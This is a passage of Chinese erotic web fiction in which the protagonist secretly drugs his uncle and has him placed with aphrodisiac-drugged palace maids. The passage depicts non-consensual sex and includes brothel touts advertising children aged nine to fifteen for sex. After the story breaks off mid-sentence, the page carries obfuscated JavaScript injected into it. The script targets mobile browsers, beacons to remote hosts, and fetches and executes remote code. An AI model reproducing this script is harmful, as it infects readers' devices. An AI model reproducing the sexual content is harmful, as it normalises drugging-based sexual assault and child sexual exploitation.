  「嘿嘿,办好就行了!」许平满面淫蕩的笑了笑,示意她先去门外候着。

  走到主厅的时候纪宝丰已经醒了过来,还是面无血色感觉有些虚脱,正慢吞吞的喝着丫鬃们递上来的补汤,见许平进来,面色微微红润了一些,开心的笑了笑说:「平儿,谢谢你了!」

  许平微微的愣了一下,没想到这惊吓也能治结巴的毛病。原本这家伙说个平字得两三秒才能搞定,现在竟然说得比电视主持人还流利。难道是人品爆发的结果。

  「没事的舅舅!」许平脑子只是微微的一转,马上就装作着急的走上前去,用紧张的语气说:「你也先别休息了!」

  「怎、怎幺了!」纪宝丰马上紧张起来,结巴的毛病又犯了!

  许平一副急得直跺脚的模样,气急败坏的说:「还不是你两个好妹妹,一会她们又派人过来绑你了。趁现在她们人没到我先给你找个躲的地方! 」

  「好、好!」纪宝丰立刻吓得跳了起来,把汤碗都打翻了,朝外跑去的脚步竟然比许平还利落。

  上了马车,许平也不认识路!示意巧儿赶紧走,巧儿看纪宝丰跟上车只是疑惑的看了一眼后,就扬起缰绳缓缓的朝城西走去。

  城西靠近城墙边的偏角有一条小小的胡同,是京城晚上最热闹的地方,几乎是夜夜笙歌,因为这胡同就是传统意义上的烟花柳巷。胡同两边全都是一座座紧挨着的青楼,当许平这辆明显带着官家味道的马车缓缓走过的时候,二楼原本就热情洋溢的姑娘喊得更大声了:

  「客官,上来看看!我们这的姐儿最俊了。」

  「爷,您来瞧瞧。咱这还有稚儿,男的女的都有!」

  「爷,咱这还有孪童,九到十五岁都有哦。」

  「爷,咱这的小孪童可漂亮了,而且还会给您含呢,包您舒服!」

  一声声哮得入骨的声音,听得许平坐在车里是一阵的热血沸腾!但她们见马车似乎没停下来的意思,马上就变了味了,推销完姑娘开始推销起孪童来!许平顿时就没劲了,刚才被她们娇滴滴的声音喊得差点就想先下去消费一下,但现在的感觉却像硬了以后突然鸡巴上被踢了一脚,蛋疼得彻底啊,从里到外都不爽。

  很多的达官贵人已经玩得没什幺可玩了,虽然说表面上保守,但这年头性技巧很是丰富,爱好菊花者也不在少数。玩的变态一些的就喜欢上了幼小的男童,这一畸形的爱好又成了青楼的另一个卖点了。

  「平、平儿,还、还没到吗?」纪宝丰似乎很不习惯这样的地方,乾巴巴又黝黑的脸上竟然有一些害羞的红晕,说话的时候极端的不好意思。

  「马上到了!」许平没气无力的说:「放心吧舅舅,咱们不是要到这种地方!」

  「那、那就好!」纪宝丰大大的吐了口气,对于女色的拒绝程度强到让人怀疑的地步,许平都猜想他是不是对男童有兴趣了。

  「主子,到了!」巧儿乖巧的喊了一句,马车已经慢慢的停了下来。路过这充满风情的小胡同时,她清纯可爱的模样早惹得一堆中年色狼口水都流了下来,一个个都在咒骂到底是哪个不长眼的家伙居然狠心让这幺可爱的小女孩来驾车,不是瞎了狗眼就是瞎了屁眼。

  「舅舅,到了!」许平一边说着一边走下车来,一看已经到了胡同的最深处,停在了一幢看起来像是住宅、在这激情四射的地方显得不是很协调的院落前面。

  「主子,国舅爷。随奴婢来!」巧儿十分乖巧的道了个福,儘管她是个疯疯癫癫的小魔女,但也知道人前需要装得像温婉淑女一样。如果被觉得是丢了太子厢亩脸,第一个骂她的绝对是赵铃!

  两人在巧儿的引领下走了进去,一进门就是一座整洁的小院落,看 起来朴素得和百姓人家几乎没什幺区别,但绕过走廊的拐角走进花园的时候,入眼的是一个青藤遍布,鲜花满楼的翠绿小院。一洼小小的水池上,水车上滚落的泉水滴滴答答的,让人一听自然的就放鬆下来!

  院子中间最明显的地方,有一座竹製的小亭子立于水池之上,整座亭子除了竹子外几乎找不到其他的装饰,看起来清幽淡雅让人感觉很是惬意。

  亭子前,一位青衣粉装的美人亭亭玉立的迎在路前。一看就知道是精心粉饰过的飘逸秀发和几件精緻明亮却不显奢华的小珠钗,简单的衬託了女性三千青丝的柔顺美感!

  长长的睫毛似乎还在调皮的晃动,一双明艳又饱满深情的眼睛里尽是柔顺的暖意。倾国绝色的容颜淡雅间只有一丝十分温和的微笑,配合着她似乎能勾魂摄魄一样的黑色眼眸,微微扬起的红润香唇,看起来安静之中多了一种性感的妖娆。

  「奴婢恭迎主子,国舅爷!」刘紫衣款款有礼的欠身道了个万福后, 起头来含情脉脉的看了许平一眼,俨然一个知书达礼的大家闺秀模样。

  「紫衣!」许平想拉住她的小手好好的和她诉说一下自己的想念,但一看美人这身精心打扮和大家闺秀般的举止,也明白了她是因为要见自己的长辈而刻意的準备过的,想了想心里顿时就是一暖,也没急色的想佔她便宜,只是温柔的说了一句:「我想你了!」

  「奴婢也是!」刘紫衣浑身一颤,脸上瞬间就爬上了幸福的红晕,一边引着二人在亭子里坐下后,轻声的说:「主子,奴婢备了些薄酒粗菜。请您品嚐一下!」

  「你做的?」许平饶有兴趣的问道。

  「嗯!」刘紫衣无比温顺的点了点头,转头递了个眼神后,巧儿马上乖巧的跑到了后面去了。

  「平、平儿,这、这是你丫鬟呀!」纪宝丰觉得自己一直不开口也不好意思,只能随意的问了一句。不过他看向刘紫衣的眼神竟然没半点的震撼或者是惊艳,让许平着实的吃了一惊。要知道她也是媚骨天成,初次带她回府的时候连一向稳重的张虎都失了神,这种妖孽级的魅力可不是一般人所能抵挡的。

  不过想想也奇怪,巧儿也是那种男人初次一看就容易失神的可爱小萝莉,他见了也没半点反应,这是怎幺回事!想到这,许平不由得全身一阵恶寒,这舅舅不会和孔海那老玻璃的爱好是一样的吧!男人的祸害呀,许平立刻本能的离他远了一些。

  虽然心里的想法很多,但许平还是十分深情的看了刘紫衣一眼,柔声细语的说:「这是我的红颜知己,相信不久就是你的外甥媳妇了。」

  「嗯,不、不错!」纪宝丰憨厚的笑了笑点了点头,似乎也是很满意刘紫衣的表现。但即使他没什幺架子,毕竟是皇亲国戚、当朝国舅!和蔼的笑起来就能让人本能的感觉到明显主僕有序的威严!

  得到心上人的讚誉,又被主子的舅舅肯定,刘紫衣一时间幸福得都有些昏头了,感觉心里甜得都快发腻了,深情的看了许平一眼后,款款的说:「主子,奴婢为您抚琴助谈!」

  说完轻挽云袖,走到了台阶下早已经备好的木琴之前,十分优雅的收了收飘逸的裙子慢慢的坐下,纤细修长的玉指慢慢的抚在了琴身之上,温柔的一动立刻就响起了悦耳而又悠然的琴曲。

  「平、平儿。眼光不、不错!」纪宝丰讚赏的竖了一下大拇指。

  「那是当然!」许平笑呵呵的点着头,看了看刘紫衣总落在自己身上的那偷偷摸摸、如少女情窦初开般的柔情眼神,心里自然是一阵的得意。想想和美女师父第一次颠鸾倒凤时,她用温热的小舌头游走在自己皮肤上那让人无法忘却的慾仙欲死,本能的有些硬了。

  几个乖巧可人的小丫鬟鱼贯而来,个个都走的是莲花碎步,显得十分有教养。将一盘盘美味的菜餚放在桌子上的同时,也是疑惑的看着这两个男人,毕竟从未有男人在这里出现过,所以对她们来说很是奇怪。

  许平也灵敏的感觉到这群小丫鬟几乎都是三流的修为,看来都是刘紫衣手下的人,个个长得是沈鱼落雁,虽然达不到倾国倾城的地步,但起码也算是标致的小美人了。

  菜上好了,只是简单的摆了四盘而已。一盘炒花生,一盘烧鸡,一盘清蒸鱼和一锅已经熬得发白的高汤!刘紫衣自然知道许平最厌恶的就是浪费铺张,所以菜上的少,却更加的用心,这些菜几乎只是闻这飘出来的香味,就足够让人食慾大振了。

  「舅舅,来,我敬您一杯!」许平起身为两人都斟满了酒后,恭敬的拿起了酒杯。不管怎幺说,这个舅舅即使再不熟悉,毕竟他为自己未来的军队做出了很大的贡献,这杯不敬不行。

  「来!」纪宝丰对于酒也是半点都不含糊,轻轻的一拱手后立刻一饮而尽,面色立刻变得红润起来,长长的吐了口气后啧啧的讚叹道:「十里香果然是好酒呀,香醇味美让人回味无穷。」

  对于十里香这个酒厂,在商部成立之后,许平只当它是一个不成熟时玩的小游戏罢了,但还是喜欢多听到讚赏。马上就为他再斟上酒,笑呵呵的说:「您喜欢就好了!以后这酒外甥给你保证供足了。」

  (避免被说骗字数,就不结巴了!)

  「呵呵,我很少喝的!」纪宝丰笑着摇了摇头,说:「尤其是乾活的时候喝酒不好,你要有心,给一起干活的这些兄弟们赏一些吧!他们除了和我一起在号间里待了三天三夜,还一起在火炉前搞 了一个多月。」

  「那是当然的!」许平马上就点着头,殷勤的说:「昨天太子府的赏赐已经送过去了,那些锻造出来的工匠们每人纹银二十两,好酒十坛!对于这些人,我自然是不会亏待!」

  「呵呵。」纪宝丰开心的笑了笑,语气难得有些调侃的说:「那幺多呢,看来我这外甥是铁公鸡投胎的传闻也不太準确啊!」

  「就是,那是毁谤!」许平也不由得红了红老脸,自己的小气真有那幺出名吗?连舅舅这种只会埋头苦干的狂人竟然也知道了,有没有必要那幺夸张。

  「平、平儿。你该成婚了吧!」纪宝丰在许平的劝说下又喝了几杯后,将酒杯一放,神色有点落寞的说:「我没记错,今年你也快十七了。当今圣上就你这一个子嗣,你也该早点为皇家开枝散叶了。」

  许平表面上没在意的摇了摇头说:「呵呵,没那幺急吧!」

  但其实说不着急是假的,每次见老爹、老娘,这话题几乎已经是例行公事一样了,尤其是赵铃几个丫头住进府里以后,纪欣月已经对这群女孩子没怀上龙种很是不满,毕竟一些平民百姓家的女儿,如果不是有幸身怀六甲,皇家不可能给她们女人最需要的名分,这也是许平比较忧虑的一个问题。

  「早、早点生一个吧!」纪宝丰轻轻的打了个酒嗝后,满面严肃的劝慰着。

  许平也是觉得有这必要了,只是突然灵敏的感觉到刘紫衣的琴声竟然在不知不觉中发生了变化,刚才是如行云流水一样让人轻鬆惬意的调子,但在没半点察觉之中变得忧愁自恼,让人不自觉的就产生了一种多愁善感的迷茫。

  到底是学媚术的,许平不由得感慨了一声,音乐的旋律确实是能影响人的心情。一看刘紫衣的眼色,大概也知道了她是配合着自己而奏出的琴音,马上给她递了一个讚许的眼神。

  「舅舅!」许平和他再次碰了一杯后,试探着问:「那为什幺你到现在还不成婚呢,就为这事可是愁坏了一堆人呀!」

  「成婚?我和谁成婚!」纪宝丰的眼神突然变得空洞起来,有些迷茫的喃喃自语说:「她根本就不是属于我的。」

  有戏!许平立刻打起精神,只要他别是喜欢男人就好办,马上趁热打铁的问:「舅舅,你说的那个她是谁?」

  纪宝丰自觉失言,想闭嘴已经来不及了。低头思索了好一会后,脸上的表情很是陶醉,语气也突然变得愉快起来,似乎在回忆一样的说:「她是我这辈子见过最美的女人!」

  「有多美!」许平知道心急吃不了热豆腐,最重要的还是循循善诱,但也是忍不住暗骂了一句:和老子玩什幺深沈啊!

  纪宝丰乾巴巴的老脸微微的一红,简直像是个没恋爱过的小男孩一样的羞涩,有些不好意思的说:「我也不知道怎幺形容她,反正晚上我做梦都梦到她。没事的时候发呆脑子里也全都是她,看别的女人根本就没感觉了。」

  「是这样啊!」许平心里有数了,舅舅也不是说不喜欢女人,只不过算是个癡情种子而已,但他再怎幺木讷无言,那也是贵为当朝国舅,妹妹母仪天下独尊后宫,父亲手握重兵盘踞一方,开国大将之威也是名满天下。是什幺样的女人让他竟然二十多年都没办法获其芳心,太神奇了。

  许平的好奇心马上就起了,一边频频的劝酒,一边轻声的问:「哦,那这女人到底是谁啊?」

  或许是探触到压抑已久的心情,纪宝丰无奈的摇着头,愁眉苦脸的说:「我也不知道,我就只在二十年前见过她一次。那时候她和仙子一样,我只看过一眼就忘不了了。」

  「那幺牛啊,到底是什幺人?」许平更有兴趣了,嘴脸都变得有些三八了。

  纪宝丰满脸的陶醉,眼里尽是温柔的回忆着,好一会后表情却是有些痛苦的说:「我也只知道别人叫她妙音师太,似乎是什幺宫的人,应该也是个武林人士吧!」「不是吧!」许平顿时就目瞪口呆了,这舅舅太有品味了吧?什幺不好搞,搞尼姑?

  「是啊!」纪宝丰脸色下就黯淡下去,但又微微的有点难为情。毕竟这年代的人对这些方外之人都是比较尊敬的,喜欢上一个尼姑对谁来说都是难以启齿的事,能说出来已经需要很大的勇气!

  「强。」许平马上竖起了大拇指,满脸都是淫蕩的色笑。还真有点兴趣知道如果和自己上床的是一个尼姑,一边和她做爱一边摸着那光亮的脑袋是什幺样的滋 味。不过话说这个妙音能让舅舅一眼就忘不了,应该也是个绝代的佳人才对。

  「那她现在在哪?」许平继续三八的追问着。

  纪宝丰却是一脸的痛苦,狠狠的灌了一口酒后无力的说:「我也不知道,自从那一眼后我就没见过她了。云游四方到处打听,二十年来竟然没有她的半点消息。」

  问世间情为何物,直叫人生死相许啊!许平也被他的癡情感染了,不过也是忍不住暗骂了一句:喜欢就喜欢,该他妈结婚生子也不耽误啊,搞得一见锺情,不见殉情的有意思吗?

  巧儿这时候一副乖巧的小模样,手托着两个小盅走了过来。轻轻的放在二人面前后用甜腻腻的声音,十分恭敬的说:「国舅爷,主子。这是冰糖燕窝,您嚐一下怎幺样!」

  「乖!」许平讚许的笑了笑,却是用疑惑的眼神看向了刘紫衣。

  刘紫衣轻轻的一点头,示意自己大概知道这事后又低头抚琴。

  「哎……」纪宝丰喝的是满脸通红,半瞇着眼睛,早就是醉意满满。这时候一拿起清淡爽口的燕窝立刻就美美的喝了几口。

  巧儿看着他快速的将燕窝都吃下,立刻狡黠的笑了笑。

  许平也是轻抿了一口酒,狡猾的看了看纪宝丰。

  纪宝丰心情很是低落,也没注意到两人的表情,喝完后 突然感觉脑袋越来越重,眼皮也是一点都 不起来,迷糊迷糊的念叨了一句:「我,我……」话都没说完直接就趴在桌子上晕了。

  「靠,怎幺晕过去了!」许平马上站了起来,看了看纪宝丰后担心的问:「这药量没问题吧 !」

  「没问题啦!」巧儿满面不乐意的嘟起小嘴,上前踢了纪宝丰一下,可爱的小脸上全是委屈的说:「我下的药一向份量最準的,还不是因为你们喝了那幺多酒的关係。不然他哪会晕啊!」

  「巧儿!」刘紫衣立刻就板起脸来,娇声的斥责道:「不得无礼!」

  巧儿立刻顽皮的吐了吐可爱的小舌头,这年头踢国舅爷的确是有点放肆了。轻轻的一招手,几个小丫鬃就走了上来,将已经和死猪一样的纪宝丰往院里 去。

  似乎害怕被师父骂,巧儿推託还有事要办就溜了。许平也不在意,但刘紫衣可是吓坏了。主子真把这小徒弟给宠坏了,堂堂国舅爷是她这小丫头能踢的吗?心里顿时就忐忑不已,小心翼翼的看了看许平,见爱郎没生气这才鬆了一口气。

  许平一边跟了上去,一边嘿嘿直乐的问:「紫衣,这妙音师太到底是什幺人啊?竟然能把我这变态舅舅迷得魂都没了,真强啊!」

  刘紫衣在后面款款的跟着,一边温顺的答道:「妙音师太是江湖上成名已久的前辈了,早在三绝天品立威天下的时候,她就是地品上阶了,后来将百花宫宫主的位子传于大弟子后不知去向!也有传言说她也在林远之后得道天品,现在归隐山林悟道去了。」

  许平猛的停下了脚步,有些呆滞的问:「你说什幺?她是林远之后的天品,那现在得有多大年纪了。」

  刘紫衣小小的心算了一下,摇着头说:「奴婢也不是很清楚,但就知道妙音师太应该是与柳叔同时踏足武林的。按这岁数来算,她老人家也应该有七十高龄了。」

  「靠!」许平不禁骂道:「这也太重口味了吧,那我舅舅看到她的时候这老太婆也该四、五十了吧,这幺算来她现在不是一个七老八十的老奶奶了吗?」

  想到这,顿时又感觉有点不对,转过头来问:「那林远他们立天品是什幺时候的事了?」

  刘紫衣大概的算了算,柔声的说:「奴婢记得没错,大概是三十几年前吧!天品三绝大概是在前后不到一年破境的!」

  「日!」许平不禁心里暗骂了一声,张虎这什幺脑子啊,和自己说的都是三十年前的神话,那时候你就是一个蝌蚪还装什幺老成。那帮老东西成名那幺久,没準现在一个个都成妖精了,自己还一直用天品下阶的阶段去估计他们,真要碰上他们,那还不是找死。

  「主子!」刘紫衣看着纪宝丰被 进一间厢房后,几个丫鬟都红着脸走出来,眼里一时间尽是柔媚,轻声的说:「奴婢已经安排好了,您是不是也歇息一下。」

  「等等,我看看去!」许平一边淫贱的笑着一边走到门口去看。屋里的纪宝丰已经被扒光了衣服丢在了一张足有四米多宽的大床之上,除了他之外还有巧儿从储秀宫里弄来的几个小宫女,这时候一个个早就被扒光衣服餵了春药。满目含春,意乱情迷的往他身上纠缠着。

  真有劲的春药啊!许平看得眼睛都直了,这药效还真不错嘛,处女一碰都变蕩妇了。这些妙龄少女们一个个面带春情,用自己的敏感部位使劲的往纪宝丰这唯一的男人身上凑,似乎隐隐可见她们的腿间已经是潮湿一片了,全是晶莹的水光。

  「主子。」刘紫衣难为情的唤了一句。

  「等一下。」许平津津有味的看着,这时候一个小宫女长长的呻吟了一声,抓起纪宝丰粗糙的大手放在了她坚挺而又圆润的乳房之上,满足的叹息一声,低下头来用樱桃小口开始舔着纪宝丰的身体。

  其他的小宫女也是有样学样的用温润的舌头往纪宝丰的身上凑,昏迷之中,纪宝丰燕窝里的春药也开始发作,呼吸变得越发的急促,原来无意识被摆弄的大手也开始主动的往她们身上摸去,使劲的将一个小宫女圆圆的乳房捏得都快变形了,但那小宫女却像是无比满足一样的颤抖着。

  一个比较丰满的小宫女这时候跪到了他的胯下,小巧纤细的玉指慢慢的握住了纪宝丰四十多年的童男阳物,轻启朱口,像是找到了什幺宝贝一样卖力的吸吮起来。满面的春情、淫秽的眼神和娴熟的技术,如果不是知道她们受过那些老宫女的调教,还真不敢相信这些发浪的少女全都是货真价实的处女。

  看着纪宝丰的家伙在小宫女的嘴里硬起来,许平不禁骂道:「靠,这不是行吗?非他妈当那幺多年的和尚!自己偷偷打飞机就那幺有趣吗?」

  「主子!」刘紫衣看着屋里那纠缠在一起的白肉,羞得轻唤了一声不敢再看。

  许平也不想看了,这时候纪宝丰已经反客为主,压下一名小宫女后分开她修长的双腿狠狠的一顶,小宫女满足又是疼痛的叫了一声,处子血立刻就流了下来,但他似乎没有察觉,马上毫不怜惜的挺动起来。其他的女孩子眼里全是羡慕,一个个往纪宝丰的身上凑,有的甚至拿着他的手放在自己的羞处,实在有一个挤不过别人的,竟然难受得趴下身去和被纪宝丰插得浪叫连连的小宫女舌吻起来,抓着她柔软的小手往自己的私处上磨。

  许平看得鼻血都快流了。巧儿哪来的春药啊,这药效太强了,竟然连外面有人在看好戏她们都毫不在意,继续沈澱在肉慾之中,不过这幺多人一起被他破处,总有一个中标的吧!

  搞个屁的媒妁之言、洞房花烛啊?任凭你三媒六聘的,还不是没老子下一管春药有用,日!

  许平得意的笑了笑,示意小丫鬟们将门一关。转头一看,刘紫衣本就性感的脸上有些娇羞迷人的红晕,低着粉首看起来更是妩媚动人,看了这样激情的肉戏哪还按耐得住,马上就上前拉着她的手,色笑着说:「好宝贝,咱们是不是也该办点什幺实事了!」

  刘紫衣眼里尽是迷离的看了许平一眼后,朝丫鬟们一挥手让她们退下,按住了许平已经攀爬到她翘臀之上揉捏的大手,微喘娇气的说: 「主子,先别急!」会让奴婢好好伺候您好吗?」

  「嘿嘿,行!」许平满意的点了点头,手却是迫不及待的搂过了她的香肩,慢慢的从肚兜的领 口处探进,摸上了她饱满而又充满弹性的乳房之上,小小的乳头这时候已经硬了。

  轻轻的一捏,刘紫衣顿时就嘤咛了一声,软倒在了许平的怀里,闭上美眸后语气发颤的说:「主子,抱奴婢回房好吗?到那奴婢再好好的伺候您。」

  「没问题!」许平大笑了一声后将她一个横身抱起来,欣赏着怀里已经动了春情的尤物,一边感受着她微微发烫的身子,一边朝她的香闺走去。

  刘紫衣的闺房就像那娴静的琴音一样,和她的性感妩媚有点不相符。位于院落最里面的一间小房间,外边搭建的也全是青色的竹子,花花草草的园子看起来文静中又很是淡雅。

  但许平这时候可没什幺高尚的情操去欣赏这些,心思全是要再次享用这性感妩媚的美女师父。对準房门猛的一踢,房门立刻就被踢开了!

  房间里很是淡雅,除了女孩子都有的妆台外,只有一张木製的大床和一把太师椅!桌子上摆放着美酒佳餚再无其他可见的奢华之物,简洁之中又透着心思的巧妙!

  「主子!」

  两声不同,但却一样悦耳,充满女性柔媚的声音让许平微微的一愣。再一看旁边跪着两个低着头的女人,她们的身材很是相似,都是那幺的丰满成熟!颤抖的声音里不难听出惊喜和紧张。

  跪在地上的正是被刘紫衣劫走的徐碧宁、徐碧芝姐妹。许平倒是有些愣了,要不是现在看到她们,几乎就把这对美貌的姐妹人妻给忘了!

  许平也不多言,将刘紫衣放在床上后,闻着香闺里似乎瀰漫遍地的女性香味,疑惑的问:「你们怎幺会在这?」

  姐妹俩赶紧起身去关上房门,徐碧芝

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();